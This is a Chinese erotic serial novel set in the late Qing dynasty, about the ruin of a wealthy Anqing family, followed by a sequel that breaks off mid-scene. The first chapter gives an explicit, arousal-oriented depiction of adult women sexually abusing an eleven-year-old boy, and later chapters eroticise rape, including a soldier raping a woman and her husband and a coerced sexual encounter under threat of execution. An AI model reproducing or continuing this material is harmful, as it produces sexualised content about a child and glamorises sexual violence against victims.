图片载入中

清末艳事(全)

特大字】 【大字】 【中字】 【小字

清末艳事(第一章)清朝末年,安庆地方有一侯姓富户,祖上为官,得宠于当朝,权倾一时,遂成安庆望族。至侯天祥这一代,己为安庆首富,虽财雄势大,却人丁单薄,天祥只有一独子侯小拴。起名“小拴”意谓盼儿子能“拴”住家财,不使外流。侯天祥有一妻一妾,小拴乃元配吴氏所生,平时由吴氏贴身女佣张嫂照料服侍。这小拴时年十一岁,生得细皮白肉,粉团也似,直像个女儿家。而吴氏乃一性冷感妇人,自幼便厌恶男子,嫁给侯天祥乃因父母之命。吴氏一直希望小拴能是个女儿才好,故自小拴襁褓时期起即将他打扮得花团锦簇,俨然姑娘,直到十岁时才改换男装。吴氏反常之养育,令小拴长大之后无论在心理抑或生理上渐渐成为一个女性化的男儿,好端端一个标致男儿断送在他亲娘之手,但这乃是后话了。话说小拴至十一岁,每日皆由张嫂服侍洗脸、洗脚、洗屁股。这张嫂约四十来岁,面目姣好,皮肤细致,若非穿戴简直看不出是个佣人。张嫂平时给小拴洗屁股时,经常有意无意地捏弄他的小鸡鸡,并以手指抠弄他的屁眼儿,有时抠得小拴发痛,便叫道∶“干么老抠屁眼儿,人家痛呀!”

张嫂便回说要将这些藏污纳垢的地方洗干净,否则大太太会骂她做事不仔细虽然张嫂经常猥亵小拴,却尚无过份举动。直到有一天晚上,小拴正在庭院中玩耍,吴氏出来唤他∶“时候己夜,还不快去洗脸洗脚洗屁股!”正说话间,张嫂也扭着丰臀走过来,拉起小拴的手道∶“快随张妈去洗脚。”一只黄铜盆里已经掺好了温热适中的清水,盆子放在西厢房的角落上张嫂为小拴解开了裤带,褪下小衣,露出那粉妆玉琢的女儿家似的屁股,并令其蹲坐在铜盆前。今日张嫂似尤有兴趣,以温水拈湿了小拴的话儿后,便伸出一只玉手握住那只小小的雀儿,上下捋动起来。那小拴从未遭遇过如此阵仗,觉得心中生出一股未曾有过的搔痒之感,便忍不住笑起来叫道∶“哎呀,张妈别弄了,痒死啦!”

那张嫂却只管套弄,数十下后暗自奇怪∶为何那只白玉小雀儿还不硬朗?

她暗忖道∶“莫非这玉面小子是个天生的性无能?”想到此,张嫂另一只手往小拴屁眼儿戳去。说也神奇,张嫂的手指才刚戳进紧密柔软的小屁眼儿,另一只手中的白玉小雀儿突然翘起,再套弄几下便完全直立,虽只有小手指一般长,硬如竹筷张嫂这才恍然大悟,原来这小少爷是个“小相公”,非屁眼儿挨鸡巴不会勃起!张嫂见小雀儿勃起了,飞快地跑到红木茶旁取来一只青釉茶盅儿,然后再继续努力∶一只手如穿梭般捋动小鸡鸡,另一只手迅速地在屁眼儿内进出可怜小拴少爷既紧张、又刺激,俊脸上的笑容渐渐变成痉挛扭曲之相忽然间,小拴觉话儿内一阵奇痒,大叫∶“不好,我要撒尿了!”张嫂听了,急忙将茶盅儿对准小鸡鸡的马眼儿,一只手加剧捋动阴茎,霎时间一股洁白稀薄的童子阳精自小拴话儿内涌出,注入茶盅内。小拴心痒难忍,双目紧闭,一种从未有过的舒畅之感令他头昏目眩。而张嫂则一仰头,将茶盅内珍贵的童子精一饮而尽,尚未满足,复噙起小鸡鸡将阴茎上残留之精液以舌舔食净尽。原来这张嫂早有此“食精僻”,昔日在乡间便时常以零钱、糖果等物引诱村中童男小儿,淫之以取精液,故虽四十馀岁,仍容颜常驻,一如少女。“怎么样,舒服吗?”张嫂淫笑着问小拴。小拴红着脸点了点头,嗫嚅着说∶“可是你喝我的尿,不嫌脏吗?”“傻小子,”张嫂用手指戳了小拴脑门儿一下,说∶“这不是尿,是童子精呀!”“童子精?”小拴不解。张嫂见他不懂,便甩甩手说∶“就是白豆浆,这种白豆浆谁都能喝。”

然后她倏地沉下脸来威胁道∶“此事可不准告诉你妈,要不然我会叫人在半夜里把你抱到城外去喂狼!”小拴恐惧地望了望她,点点头。“记住,”张嫂近似凶恶地说∶“以后每天洗屁股时都得尿豆浆给我喝。”

“要是尿不出呢?”小拴惶恐地问。“要是真的尿不出,就歇息一两天再尿。”张嫂笑笑,又伸手到小拴胯下,把话儿拉出来。只见那缩回去的小鸡鸡只有两颗花生大,她捏了捏小龟头,奚落道∶“这么小的话儿,白生了一副潘安之貌,恐怕侯家真要断子绝孙喽!”

可怜小拴宝贵的童子精竟然献给了这个淫荡,贪婪而又平庸的中年女佣,而且他也想不到从此以后将有更大的灾难在等着他。第二章话说那张嫂,本乃贪得无厌之人,虽吴氏待其甚为宽厚,她也积攒了不少私房钱,仍然心术不正,串通了侯天祥的小妾吃里扒外,时常盗窃侯天祥和吴氏之钱财。侯天祥的小妾秀花,原为侯府婢女,因颇有几分姿色而为侯天祥纳为偏房她眼含秋波,臀圆腰细,妖艳异常,且生性极淫,日夜纠缠天祥以效鱼水之欢。年逾花甲之侯天祥,虽为其榨尽了骨髓,淘空了身子,依然无法满足其淫欲然而秀花虽淫,无所出,乃不孕之妇,故其十分妒恨有子嗣之吴氏。这一日,女佣张嫂来到东套院,悄悄走进秀花房内,正碰上秀花在独坐生闷气。“哎哟,二奶奶又在生谁的气啊?”张嫂微微福了一福,走上前问。“还不是那个老不死!他给了小拴他娘一对翠玉镯头,我叫他也给我一对,却讨他一顿骂,说我贪得无厌,身在福中不知福,真是气煞人也!”秀花忿忿地说。“二奶奶可别气坏了身子,奴婢倒有个报复的好法子,而且还是个能使二奶奶长生不老的秘诀。”张嫂故作神秘地劝慰秀花。“真有此妙事?”秀花一脸疑惑。张嫂笑嘻嘻地走上前去,贴着秀花的耳朵窃窃私语了一番,听得秀花面生红晕,神采飞扬。“死淫婆,真有你的。”秀花点了张嫂的鼻子一下,笑得梨花乱颤。“二奶奶,”张嫂胸有成竹地说∶“这事包在奴婢身上,这小子的话儿只有花生大,长大之后亦是个三寸钉。要传种接代,算是痴心妄想,那话儿只有一个用场,即是天赐予二奶奶和奴婢的童阳补品,胜过参茸何止百倍。”秀花听了,狠狠地说∶“天助我也,这下子侯家可算是绝后了!”当天晚上,小拴被张嫂领进了秀花屋内。“二姨娘,”小拴给秀花请了个安,问道∶“您唤我来有何事?”“姨娘听说你会尿豆浆?”“不,没有┅┅”小拴转身想朝外跑,却被张嫂一把揪住了,推向卧房内床边。这时秀花突沉下脸色,恶狠狠地拉着小拴耳朵说∶“你若不听话,姨娘就去把你尿豆浆给张妈喝的事儿告诉你爹,看他不揍死你才怪!”这小拴平时最惧怕的人即是侯天祥,天祥教子甚严,处罚甚重,小拴见了他就像老鼠见了猫。如今听秀花说要去将那等丑事告诉他爹,便沉默不语,不再挣扎。张嫂与秀花合力把个小拴拉到床上,张嫂跪在小拴身旁,死力按住他的上半身,以方便秀花可在其下半身尽情动作。秀花掀起小拴的长袍下摆,将玉手伸进裤裆,掏小鸡鸡出来。“啊!”秀花见到那洁白似雪的话儿,不禁叹道∶“好个白玉话儿,只可惜太小了。”说着便以手环握,套弄起来。“姨娘不要┅┅”小拴想挺身坐起,遭张嫂按住,并低下头去,将那舌儿伸入小拴口中,说∶“别出声,与张妈香香嘴,你的小舌儿多软和啊!”这边厢秀花狂捋鸡巴,套弄了多时亦不见变化。“张妈,如何这般样儿?”秀花心急起来。“唉呀,奴婢忘记告诉二奶奶了,”张嫂拍拍自己脑门儿说∶“小少爷是个小相公,你不弄弄他的后门儿,小雀儿是不会唱曲儿的。”“真有此事?”秀花听了,即将小拴身体推向一侧,再扯下裤头儿,将裤子褪到膝下。一个粉团似的白屁股露出来,秀花怜惜地抚摸了一阵,说道∶“这臀儿亦像小娘儿们的。”接着便拨开臀缝,将手指勐力捅进屁眼儿,痛得小拴哼叫起来。“二奶奶,你可得轻些儿,”张嫂笑着提醒她∶“捅得太凶勐,小雀儿可不会唱曲儿了。”秀花这才将完全伸入的手指拔出一半,只留半截在屁眼儿内伸缩出入。果然只插了几下,闻听小拴又哼了几声,身前的白玉小雀儿便跳了起来,越来越硬。那秀花又俯首以香舌轻舔龟头上的马眼儿,不一刻,小拴的话儿便硬如竹枝。秀花见状忙爬上床去,褪下裤儿跨坐在小拴肚子上,将那肥厚的牝户朝小拴话儿压下去,户中之淫水淋漓溢出,竟将小拴之小腹和大腿完全浸湿。秀花在干弄之时,背朝小拴,只见她那大屁股在小拴眼前上下起落。张嫂更把小拴的手牵到秀花臀缝中,淫笑着对小拴说∶“小少爷,你也弄弄你姨娘的屁眼儿看。”说着便将小拴的一根手指送入秀花那深褐色的屁眼儿中,还教他前后进退。这边厢秀花忽觉臀眼儿被人抠弄,一股奇痒钻上心头,不由得叫道∶“乖乖亲儿,你把姨娘弄得好快活!”她兴致正浓,忽闻小拴叫起来∶“姨娘别弄了,我要尿了!”秀花不敢怠慢,登时爬起来,也顾不得去取茶盅儿,即把小拴的鸡巴擒起,剥开包皮。说时迟、那时快,只见洁白的童精己自马眼儿内汨汨涌出,秀花急忙俯下头去噙住龟头,贪婪地吮吸着纯美的童子精,直吸得小拴“嘘嘘”唿痛才罢手。此后,可怜小拴日日遭到两个狼虎之年的妇人淫戏,未几时便淘空了身子,成为废人。侯家之香火亦自此断绝,鸣唿,实乃人间悲剧也!第三章二十年后,咸丰年间,纲纪不振,国运衰退。贪官污吏,鱼肉乡民,太平天国,揭竿而起。话说安庆侯家在风雨飘摇中苦撑至今,与大清皇朝一起进入了衰亡的末年年初以来,太平军势如破竹,清军望风而逃。安庆危如累卵,城破当在旦夕之间。这一日,三十一岁的侯小拴与夫人郎玉清在厅中对坐,二人皆愁云满面,对太平军兵临城下之局势心忡忡。侯家自侯天祥老爷子暨夫人吴氏去世以后,家道中落,府邸萧条。小妾秀花和女佣张嫂妄图谋夺家财,东窗事发,早在侯天祥在世时即被捉进官裹,铛入狱侯天祥生前虽为小拴张罗完婚,迎娶了安庆美女郎玉清,但他至死未知那小拴于床第之间,早成废人。郎玉清初进侯家,见夫婿唇红齿白,眉清目秀,貌似潘安,心中暗自欢喜但未几时便知她的如意郎君徒具虚表,在床第之间几乎不能人道。然而郎玉清乃一贞洁妇人,秀外慧中,虽常恼夫君之无能,却始终红杏不出话说夫妻二人正愁闷间,婢女冬梅跑入厅内,气喘吁吁地说道∶“老爷、夫人,太平军已将城池团团围住,传说明日即要攻城了!”侯小拴不耐烦地挥挥手道∶“好了好了,不要再拿这些鸟事来烦我们,侯家乐善好施,从不为非作歹,欺压百姓,太平军来了也不会清算咱家。天不早了,你也去睡吧。”冬梅闻言,怏怏而退。“清妹,我们也该早些安睡了。”侯小拴对妻说。郎玉清默默站起身来,随小拴步入卧房。卧房内烛光辉映,将郎玉清的秀脸照得更加红润、美艳。对着点点烛光,郎玉清不禁黯然神伤。她今年三十岁,十年前嫁入侯家,至今仍是处子之身。侯小拴那短小的阳具,即使能偶尔勃起,亦是一触即溃的“见花败”,根本不能深入她的牝户。多少个思春的长夜,她暗自咬碎银牙,但终能按捺住升腾的欲火,使自己恢复平静。她不但明眸皓齿,还生就一对丰满的乳房和一个浑圆肥硕的美臀,曾经煞多少王孙公子。想到这些,郎玉清簌簌泪下。她并不做失节之事,但自婚后第二年起,即不让小拴与她行房,甚至也不准他仔细抚摸自己的肉体,作为一种无声的报复今夜上床后,侯小拴似有兴致,伸手过来摸玉清的屁股,却遭郎玉清喝止∶“休得如此,奴家已与郎君言定,我的身子只能瞧,不能摸。”侯小拴叹了口气,缩回那只在郎玉清屁股上的手,说∶“如若今夜不能欢好,明朝城陷,不知清妹与我是否还能如此厮守?”“不能厮守也罢,”郎玉清泪流满面,无限怨恨的说∶“我早已厌烦这牢笼般的日子,死于战祸,倒也干净!”说着便转过身去,不再理睬小拴。闻妻之言,心如刀割,小拴深为自己之无能感到羞愧,望一眼身边娇妻那未经人道之玉体,狠一狠心闭眼睡去,一夜无话。第四章、大结局翌日,太平军果然攻城,未臻三个时辰,安庆失守。清军统带宝祺战死阵前,所部士卒伤亡殆尽。太平军长驱直入,安庆城内尸横遍野,血流成渠。话说侯宅院内,郎玉清领冬梅收拾细软,侯小拴端坐房内翻阅书卷。“老爷,”冬梅跑进屋来禀告∶“夫人请您赶快更衣,好趁早出城躲避。”

“妇人之见!”小拴拍案喝斥∶“如今城己被围,无处可逃。况我侯家,四代行善,街坊邻里,有口皆碑。太平军号称替天行道,难道会冤害好人?快去告诉夫人,毋庸惊慌,随我在此。”冬梅悻然而退,转身正欲出去,郎玉清己跨进屋来。“为何还不离去?”玉清神色仓皇地催促小拴。小拴未及回答,只听一声巨响,太平军已破门而入。为首一彪形大汉,鼻翻嘴阔,相貌奇丑,乃东王杨秀清之侄儿杨四喜身旁跟随一人,獐头鼠目,饶有贼形,乃四喜之心腹陈豹。二人身后,尾随军士十馀人。甫进院内,杨四喜便挥手命军士们分头往四处搜索财物。此时,侯小拴迎出屋来,抱拳施礼,问道∶“不知将军何事闯入敝宅?”

“你可是安庆首富侯小拴?”杨四喜盛气凌人地反问。“正是在下。”小拴回道。“吾等来向你借取些钱财。”杨四喜狞笑着说。“将军不可无礼,”侯小拴强自镇定的辩解道∶“我侯家世代行善,美誉乡里,虽富而不失仁义,将军当有所闻。”“胡说!”杨四喜豹眼环睁,大喝道∶“汝等搜刮民间,投效满虏,为虎作伥,十恶不赦,何来仁义?今逢我天兵天将,劫富济贫,正好与汝等算帐!”

说着,杨、陈二人将小拴强行推进身后屋内。进得屋来,杨四喜忽觉眼前一亮,瞥见如花似玉的美人儿郎玉清。可怜玉清与冬梅正抱作一团,吓得发抖。四喜见冬梅姿色平常,便唤门外兵士将她带出去。才出屋,便闻冬梅大声惊叫,掺杂着士兵们的淫笑声。郎玉清正待出去察看,遭杨四喜一把搂住,拖入卧房;这边陈豹亦将小拴押进卧房。杨四喜将玉清拖至床边,淫笑着说∶“我要让你丈夫看我如何淫你!”

说着便伸出碌山之爪,向玉清乳间抓去。郎玉清本能地转身躲避,不自主地伏倒在床边,把个肥臀朝向四喜。四喜见势,便按住她嵴梁,剥她裤子。那杨四喜乃习武之人,力大无穷,郎玉清想挣扎爬起,哪里还能动弹扯下玉清的裤儿和小衣,杨四喜顿时惊讶得目瞪口呆。你道为何?原来那郎玉清的屁股乃臀中极品∶非但丰满硕大,洁白如玉,而且皮肤细腻,吹弹得破尤其股缝深邃,引人遐思。杨四喜猴急心痒,立时拉出他那早已坚举的六寸馀长之黝黑阳具,扒开妇人之股缝,对准那浅褐色的小屁眼儿塞进去。“痛煞我也!”郎玉清凤目圆睁地嘶叫起来,只觉臀中一阵剧痛,几乎昏厥过去。那郎玉清的屁眼儿从未遭人淫弄,就连其夫小拴亦无缘亲近,既紧密、又细小,哪里经得起如此折腾,不一刻,便淌出鲜血。杨四喜见状,便抽出阳具,抖了一抖,使一招“隔山取火”,又自股后刺入玉清牝户。可怜玉清尚为处子,未经人道,牝户紧俏窄小,被杨四喜之粗硬阳具刺入,痛彻肺腑,床褥之间,片片落红。那四喜一见玉清竟然是未经人道的处子,又惊又喜,淫心顿炽,便越发拼命干弄起来。百馀抽后,已将玉清的牝户拓宽,且淫水渐生。话说那郎玉清,因夫婿无能,本不识交欢之乐。初被四喜刺入牝户,只感疼痛,但百馀抽后,渐生情趣。一种未曾有过之甜美感觉使她心痒难忍,一股尿意袭来,玉清初次泄出了阴精。妇人情趣一生,牝户更加温热,使四喜的阳具龟头受到刺激,马眼儿内一阵奇痒,阳精夺路而出,注满了妇人久旱之牝户。此时玉清仍伏在床边,双目紧闭,泪如雨下。虽然初次浅尝了男女交欢之乐趣,但她依然感到羞愧难当,痛不欲生。尤其使她悲伤欲绝的是,不但自己的私处,就连最令人羞涩难堪的隐密后庭亦遭人奸淫,且奸她牝户和屁眼儿之人并非自己丈夫,而是个凶恶粗鄙、面目丑陋、逆反朝廷的贼寇!是可忍,孰不可忍?

玉清正兀自悲痛,忽听杨四喜唤那陈豹∶“这富家妻室果然滋味不同,细皮白肉,温香紧暖,甚是好玩,你也来尝试尝试。”玉清挣扎着提起裤子,正欲爬起,被杨四喜一掌击倒。说话间,陈豹已走过来按住郎玉清,重又扯下她的裤子,奸起屁眼儿来陈豹那厮,奸毕屁眼儿尚不尽兴,还将烛台上的洋腊取下,插入玉清屁眼儿内戏耍取乐,极尽淫辱之能事。那边厢杨四喜亦将小拴按倒,扯下裤子,鸡奸起来。他一边奸淫小拴,一边奚笑道∶“你这玉面美男,屁股白嫩得像娘儿们,却为何话儿只有三寸,白白糟践了你家中的美娇娘。”可怜那小拴,玉清被杨、陈二贼自晌午一直奸淫到日落,足足奸了四、五个时辰。小拴夫妇被奸得死去活来,二人的屁眼儿皆红肿糜烂,鲜血淋漓。杨、陈二贼这才满足了兽欲,提起裤子扬长而去。留下小拴夫妇光着屁股,相对哭泣。贼去宅空,侯家的财物被抢掠净尽,冬梅亦遭军士们活活奸死。当夜,在羞愤交加之下,郎玉清悄悄悬梁自缢,香消玉殒。侯小拴亦成疯癫之人,他在拂晓的雾气之中离开了候家大院,从此无人再见过他。呜唿!四世为官,富甲一方,显赫了二百多年的安庆候家,就此衰灭“全书完”**********************************************************************

书后语∶《清末艳事》共贴了四段,至此告终,多谢列位看倌捧场,更感谢诸位站管人员的支持和爱护。最后希望大家共同维护此一硕果仅存之优质成人文学网站,它的存在即是大家的享受,对吗?八旗子弟

**********************************************************************



清末艳事(续集)

发言人∶八旗子弟第一回手气衰四喜输万银遇美人恶向胆边生清咸丰五年,太平天国声势浩大,洪秀全定都金陵。太平军连战连捷,挥军北上,危及大清帝国之最后堡垒——北方各省。太平军攻占安庆一年整,杨四喜依仗其叔父东王杨秀清之势力,扶摇直上,升任安庆镇守副将军。平时趾高气扬,不可一世,就连镇守大将军李茂也要让他三分。这一日天高气爽,风和日丽,杨四喜与心腹陈豹微服出行,来到街市之上正行走间,忽见路旁一处牌匾,“聚仙楼”三个醒目的鎏金大字印入眼帘,四喜不禁心动,便扯了扯陈豹之衣袖,一同走上前去。这“聚仙楼”乃安庆城中最大之赌场,内中人声鼎沸,热闹非常。出入者既有巨商大贾,亦有市井小民,三教九流,纷至沓来。这杨四喜本乃十足的赌徒,一见之下,焉有不动心之理。二人手摇褶扇,一步三晃地踏进赌场。赌场主人卢宏一见杨,陈二人,急忙迎上去向候,满脸堆笑地说∶“副将军驾到,小人该死,未及出迎。”杨四喜用折扇指住他的鼻梁,压低声音说道∶“少废话,本将军今日微服出游,为的是尽兴取乐,切勿让人知晓!你小心侍候。”“是,是,”卢宏诺诺连声,将二人引到楼上。杨四喜、陈豹慢吞吞登上二楼,放眼打量,只见一间宽敞的大厅里,一张油光闪亮的黑漆大赌桌安放当中,周围摆放着数张红木椅子。厅内临窗有两张小茶,供客人品茗。窗户上雕刻着龙凤呈祥、仙女献桃等图案,精美绝伦,赏心悦目。原来这楼上乃“贵宾厅”,一般市井小民、乡野村夫是不准上楼参赌的此刻赌桌边只有三人在赌骰子,个个衣着光鲜,一望便知是当地富绅豪客卢宏上前为双方介绍∶“这二位是地面儿上的好汉,杨二爷和陈三爷。”

接着又指着正在赌骰子的三人∶“他们都是本城富商,同安药的佟老板、瑞升绸缎庄的章老板和祥云客栈的胡老板。”杨四喜勉强抱拳致意,不以为然地说∶“幸会,幸会。”说罢便径自加入赌局。一开始,四喜手气很顺,接连吃下几次赌注,赢了二千两银子。这伙富商起初三人都下注,输了几阵后,便只推荐药老板佟二一人与四喜掷骰子。这佟二乃赌场常客,精于赌术,虽骨瘦如柴,却两眼炯炯有神,透出一股精明狡诈之气。“杨爷,”佟二微微挽了下袖子,说道∶“这次咱们赌一回爽快的,各尽所有,尊意如何?”显然佟二想要背水一战,杨四喜稍微沉吟了一下,勐然自怀中掏出一张银票重重地摔在桌上,大喝一声∶“快掷!”那银票上赫然书有“一万两”的数目佟二亦从身上取出一张同样面额的银票,慢条斯理地放在桌上,皮笑肉不笑地对四喜说∶“杨爷请先掷。”“好,俺就占先了。”杨四喜冷笑一声,抓起骰子飞快地掷向碗中,赫然十一点。四喜面露喜色,洋洋得意地睨了佟二一眼,说∶“请!”那佟二不愧是赌场老手,只见他不动声色地将骰子握在手里,双眼微闭,口中念念有词,倏地一松手,两只象牙精雕的骰子“叮叮咚咚”在碗里响个不停,旋转跳跃了好一阵才停下来。“十二点!”众人异口同声地高唿起来。杨四喜垂头丧气,如丧考妣。他下意识地伸手摸进怀中,却发觉囊空如洗,已身无分文。想要跟卢宏借银翻本,又怕丢了脸面,只得气狠狠地指着佟二道∶“明日早来,本爷要与你决个输赢!”说罢便扯了陈豹悻悻地走出“聚仙楼”输了钱,扫了兴,杨四喜和陈豹无精打采地往回走。忽然间一个小儿嘻笑着奔跑过来,一头撞在杨四喜身上。四喜正没好气,正欲抬掌掴他,闻一阵银铃般清脆悦耳的声音∶“桂儿不可胡闹,看你撞了官人,还不返来!”抬头一望,登时趐了半边儿,只见一绝色女子正在招唤小儿。那妇人约三十多岁,身着绿色缎面旗袍,肤白如脂,体态丰腴。十指纤细,柔若无骨。金莲似月,小巧玲珑。“小儿无礼,官爷恕罪。”妇人福了一福,作为道歉,说话之间双眸闪动,顾盼生姿。“不打紧,不打紧。”杨四喜连忙答道,还想再搭讪几句,妇人却已领起小儿转身回去。四喜呆呆凝望着妇人那摇曳生姿、摄人魂魄的两片丰臀,咽了几口涎水正痴迷间,忽被陈豹拍了一下肩膀,清醒过来。“副将军瞧上她了?”陈豹笑着问。“不知何家妇人,生得这般美貌?”四喜喃喃自语。“您抬头往上瞧。”陈豹扬手朝那妇人走进去的屋宇上方指去。“同安老药”五个宋体金粉大字赫然映入眼帘,真是冤家路窄,原来那女子竟是刚才赌场中的对手佟二的老婆。杨四喜在“聚仙楼”被佟二“杀”得片甲不留,一口怨气尚窝在心中本想明日再去找佟二翻本报仇,如今神差鬼使,见到这美妇人,一个恶毒的念头升起在四喜的脑际,使他完全忘记了那输去的一万两银子,比银子更诱人的东西吸引了他。且说那佟二赢了万两白银,心花怒放,他虽是赌场惯将,但一次能赢万两白银亦非常事。他满怀胜利的喜悦,三步并作两步地赶回药.佟二踏进家中,尚兀自欢喜,妻子尤氏迎上前来,莞尔一笑道∶“何事让你春风满面,喜气洋洋,活像中了状元。”“你看这是什么?”佟二自袍中掏出那张万两银票,举在手中道∶“做半年生意也赚不了这么多银子,如何不心喜!”尤氏见到那响当当“隆盛钱庄”的万两银票,亦不禁笑逐颜开,指着佟二的鼻子娇嗔道∶“赌鬼,除却赌钱什么都忘记了!”见到尤氏迷人的媚态,佟二枯瘦的黄脸上泛出了些许红光,心头浮起一股淫意,抢上一步搂住尤氏柔软婀娜的腰肢,道∶“亲老婆,我如何会忘记你?”

言罢,二人便趁兴相拥着走入卧房,未及放下罗帐,便翻倒在床。正宽衣解带间,只见尤氏一把捏住佟二的裤裆说∶“今日可要销魂尽兴,不得半途收兵。”你道那尤氏何出此言?原来佟二沉溺赌搏,虽是赌场上之常胜将军,是床帏间的怯阵逃兵,每于交欢之时,只三、五个回合便败下阵来。且其阳具生就短小,勃起之时亦不足五寸。尤氏说罢便握住佟二的阳具捋将起来,佟二亦报效以手捏弄搓揉尤氏嫣红的乳头儿。夫妻淫戏,上下其手,兴致渐浓,忽听佟二叫道∶“娘子快住手,我那鸡巴己经受不住,再弄下去便要不妙!”尤氏闻言,松开玉手,翻身爬起,跨在佟二身上,一招“倒浇腊烛”,把个肥白玉臀朝那昂首挺立的短粗肉柱儿坐下去。腹下那肥美湿润的肉蚌微微张开,将它的猎物一口吞下。尤氏不停地上下耸动玉臀,边弄边牵过佟二的手来,将手指塞入自己的屁眼儿。“骚娘子,”佟二被她弄得心摇神驰,叫道∶“你那屁眼儿也想人弄,看俺来替你破身!”“怕你无此本事。”尤氏气喘吁吁地回道。二人正调笑间,佟二忽觉心痒难忍,说声不好,阳精夺关而出。那尤氏却仍不住地耸动屁股,连声唿道∶“勿泄,勿泄┅┅只二十馀下,恁地又鸣金收兵?

真不济事!“眼看佟二的鸡巴已疲软退缩,尤氏不得不撤身离开,转身躺下她本想再嗔怪佟二,但又想起那张万两银票,且丈夫今日交欢亦算比往日持久,便不再言语。这边厢佟二却心满意足,交欢后的疲倦使他很快入睡,他梦见白花花的银子和媚态迷人的娇妻,未曾梦见一场巨祸已经临头。欲知祸事何来,请听下回分解。第二回连环计佟二陷罗网施淫功副将遇强敌翌日清晨,佟二早早醒来。起床穿戴一新,身着宝蓝色长衫,脚蹬一双缎面槽尔鞋,头戴一顶黑绒绅士帽,兴致勃勃地准备再去“聚仙楼”。一想起昨日那个目中无人的冤大头就暗自好笑,就凭他那点儿雕虫小技,也敢来与他佟二较量,真是不知天高地厚,自讨苦吃!但也不得不佩服那小子输得爽快、慷慨,眨眼之间输银万两,这样的豪客,安庆地面儿上还不多。真希望那家伙今天践约来赌,好再杀他个片甲无归。想到此,佟二不禁“噗嗤”地笑出声来。正窃窃心喜间,忽见老婆尤氏匆匆走进来道∶“还不快些出去,面上来了一位客商要买许多药材,看样子是笔大生意呢!”佟二不敢怠慢,连忙迎出前屋面。“佟老板,幸会幸会!”只见一黑粗矮胖的汉子一面打招唿一面抱拳施礼∶“小弟方士纶,有要事相烦。”佟二将他上下地打量了一番,只见其身着黑缎长袍,外穿紫色丝绸坎肩,胸挂黄金打簧表,手戴一只碧绿的翡翠戒指,十足富商气派。佟二忙唤丫鬟端上香茗,方士纶侃侃而谈,说明来意。原来方乃山东巨贾,经营南货生意。今年北方大旱,天时不正,瘟疫流行,急需大批丸散膏丹药材。听说“同安药”有大量现货,故特来洽购。最后,方士纶还说,山东遭天灾,粮食歉收,他受托征购三千石白米,出价十五两银子一石,一事不烦二主,就请佟老板一并代购。佟二听罢不禁喜上心头,他暗自盘算了一下∶如今安庆米价每石不到十两银子,不算药材,光白米一样就可净赚二万银子。但又转念一想,如此大宗买卖,怎能空口无凭地敲定,若是此人信口开河呢?想到此他犹豫了一下,说∶“可是方老板得┅┅”那方士纶彷佛洞悉其意,不待他说完便自衣中取出一张三千两的银票,恭恭敬敬地递给他,说道∶“此乃定银,请佟老板收下,小弟三日后来取货。”

言毕便起身告辞。佟二夫妻送走了“财神爷”,喜不自胜,转回房中不免又打情骂俏,亲嘴摸乳,卿卿我我一番。当日佟二便四出张罗,打点货物,“聚仙楼”一事早被他抛到九霄云外。夫妻二人自清晨一直忙到黄昏,虽然辛苦劳累,却仍然精神抖擞,昨日赌场取胜,今日商场亨通,佟二夫妻时来运转了!二人正兀自喜悦间,忽见十二岁的儿子桂儿飞奔进来,大声叫喊∶“爹爹、娘,持刀枪的兵丁冲进家来了!”佟二夫妻急忙走到前屋,只见十馀名手提兵刃的太平军士兵已冲进子里,早上那个山东客商方士纶被五花大绑地押在一旁,为首二人正是昨日在赌场中惨败的那两个“江湖好汉”,如今却身穿一色太平军官服。佟二心知不妙,正待辩解时,只听那两个“好汉”中的一个瘦子大喝一声∶“大胆贼,还不跪见镇守副将军!”佟二夫妻连带桂儿噗通一声齐齐跪倒,不住地叩首道∶“小人该死,不知将军驾到。”安庆镇守副将军杨四喜狞笑着,将一张信笺丢在佟二膝前道∶“你看这是什么!”佟二浑身颤抖地拾起信笺,展开一看,顿时吓得面如死灰,原来那赫然是一封清军统帅曾国藩亲笔书写的密札,密令方士纶南下为清军采购药材和食米,并刺探太平军军情。“小人确不知情,望大人明察!”佟二连连磕头,如鸡啄碎米。“唉!佟老板,你就快招认了吧。”遍身扎满绳索的方士纶哀声叹气地劝佟二。“你这厮为何诬陷好人!”佟二愤怒得忘记了恐惧,爬起来朝方士纶扑去,被杨四喜一脚踹翻在地。杨四喜命军士们四下搜索,不多时便在佟二身上搜出方士纶的三千银票四喜一见便大声喝骂∶“混帐!人赃俱在,还敢狡赖!汝等私通满虏,接济敌寇,按天国刑律,罪及满门。”说罢命军士将佟二一家捆绑结实,押回府邸。“同安药”的大门亦被贴上盖有天国大印的封条,太平天国刑律一如大清律,通敌叛国者,诛杀满门,抄没家产。军士们行走了一程便分作两路,陈豹领一众人等将佟二及方士纶押往大牢,那尤氏和桂儿却被杨四喜带回府中。杨府门前,灯火辉煌。杨四喜命左右亲随将尤氏母子带去厅房,他转身吩咐守门军士,今夜严密看守,不准任何人前来打扰。美色当前,令他心痒难熬,正欲离去,突见府门外闪出一人,五短身材,黝黑面庞,竟然是刚才被押往大牢的方士纶!方趋前一步,打躬作揖,必恭必敬地说道∶“方士纶叩见大人。”“嘘!声音小些。”四喜连忙打手势叫他轻声言语,并从衣内取出一张二千两银票递给方士纶。方士纶双手接过银票,千恩万谢,正要告辞,杨四喜眼露凶光,低声地叮嘱他∶“切勿泄露此事,如若不然,小心你的脑袋!”方士纶诺诺连声,转身离去,那矮胖的身影不一刻便消失于苍茫的夜色中杨四喜深深地吸了一口夜空中的清爽凉气,搓了搓手掌,喜孜孜地走向花厅甫进厅中,四喜便摒退左右,“嗖”地拔出佩剑,那尤氏吓得花容失色,连声哀求∶“将军饶命!”四喜持剑冷笑道∶“哼,你可知通敌之罪,立斩无赦!”尤氏泪流满面地带索跪下,泣不成声地乞求道∶“求将军饶我母子性命,妾身愿为牛马报效。”四喜闻言,心中暗喜,手起剑落,将尤氏与桂儿身上之绳索斩断,一面命人领出桂儿,一面搂住尤氏之腰,淫笑着说∶“本将军不要你为牛马,只要你作妻妾!”说着便张开巨口,伸舌在尤氏的粉脸上舔舐。那尤氏本乃水性杨花之妇人,见杨四喜饶她母子性命,便破涕为笑,顺势偎在四喜怀中,双双走进卧房,钻入床帐之中。尤氏缓缓脱去衣裳,只剩一件红抹胸,趐胸半露,风情万般。杨四喜看得心急,未待她除尽衣衫,便将手伸入她小衣内抚摸肥臀,边摩挲边道∶“俺想死你这肥白屁股了。”尤氏亦不示弱,将纤纤玉手伸入四喜裤裆,擒出那早己坚硬的七寸巨阳,笑道∶“官爷亦有驴样本钱,可惜没有潘安之貌。”“小淫妇胆敢取笑本爷,看俺不好好整治你!”四喜说罢将妇人